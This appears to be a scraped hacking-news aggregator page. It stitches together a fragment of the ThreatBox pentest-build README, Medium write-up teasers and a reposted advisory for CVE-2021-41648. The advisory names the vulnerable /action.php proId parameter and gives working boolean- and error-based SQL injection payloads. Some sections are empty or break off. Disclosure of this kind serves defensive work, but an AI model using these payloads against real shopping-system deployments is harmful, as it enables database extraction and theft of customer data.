Note: SSH may be set to a non-standard port during setup. This value is set in the group_vars/threatbox.yml filesthreatboxip=10.10.10.10
sshport=52222
ssh -p $sshport -i ~/.ssh/threatbox_id_rsa root@$threatboxip

GUI Access with VNC over SSH
Note: VNC is setup but not allowed over the network. You must use an SSH tunnel to access.threatboxip=10.10.10.10
sshport=52222
ssh -p $sshport -i ~/.ssh/threatbox_id_rsa -L 5901:localhost:5901 root@$threatboxip

Notes on the project
This project uses ansbile roles. These roles may not exactly follow the ansible style. They were designed to be used as part of this project and use a single 'variable' file to control the project. The roles can easily be used in other project with minor tweaks.
Features
ThreatBox Custom Commands

___________________________
@hacking_Attack
@Hacking_Video

Tool Categories

___________________________
@hacking_Attack
@Hacking_Video

Tracking of all installed tools

___________________________
@hacking_Attack
@Hacking_Video

Automatic terminal logging

___________________________
@hacking_Attack
@Hacking_Video

Custom terminal options provide more context

___________________________
@hacking_Attack
@Hacking_Video

Light version of the terminal Pipenv keep Python projects independent

___________________________
@hacking_Attack
@Hacking_Video

Example of SilentTrinity running in pipenv environment

___________________________
@hacking_Attack
@Hacking_Video

Download Threatbox (https://github.com/threatexpress/threatbox)

___________________________
@hacking_Attack
@Hacking_Video

Finding of Clickjacking bug

Bug Bounty WriteupContinue reading on Medium »
Read more...

Sql injection nedir?Nasıl bulunur?Nasıl kullanılır?.

SQL Injection Nedir?Continue reading on Medium »
Read more...

TryHackme-Vulnversity PART 1

CTF WriteupContinue reading on Medium »
Read more...

Exploit Collector
PuneethReddyHC Online Shopping System Advanced 1.0 SQL Injection

https://2.bp.blogspot.com/-U4x-65bW3GQ/WWlvNN9osvI/AAAAAAAAIMY/h5EIQTz5wbsbDMf6z0LfMa0yML4cI035gCLcBGAs/s1600/h21.png
PuneethReddyHC Online Shopping System Advanced version 1.0 suffers from a remote SQL injection vulnerability.

MD5 | 62b24ed257ed9ae67a141155ade51b4e

Download
# CVE-2021-41648

CVE-2021-41648 SQL Injection in online-shopping-system

The online-shopping-system is vulnerable to un-authenticated error/boolean-based blind & error based SQL Injection attacks.
The proId parameter on the /action.php page does not sanitize the user input, an attacker can extract sensisitive data from the underlying MySQL Database.

## Link To Application
[online-shopping-system](https://awesomeopensource.com/project/PuneethReddyHC/online-shopping-system)

## Affected Components & Parameter
URL: **/action.php**
PARAMETER: **proId**

## Poc's

### SQLMAP PAYLOADS
### proId parameter on the /action.php page
Parameter: proId (POST)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)
Payload: `proId=61 OR 17-7=10' OR NOT 4774=4774#&addToCart=1`

Type: error-based
Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: `proId=61 OR 17-7=10' OR (SELECT 6869 FROM(SELECT COUNT(*),CONCAT(0x717a716271,(SELECT (ELT(6869=6869,1))),0x716a627871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- gfTu&addToCart=1`

Type: time-based blind
### If the POC Image is unclear, please click on the GIF which will load in a better resolution.

![ POC - proId ](https://github.com/MobiusBinary/F2/blob/main/online-shopping-system.gif)

## Discovered by
Jason Colyvas
[MOBIUSBINARY](https://mobiusbinary.com)
September 21st, 2021


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video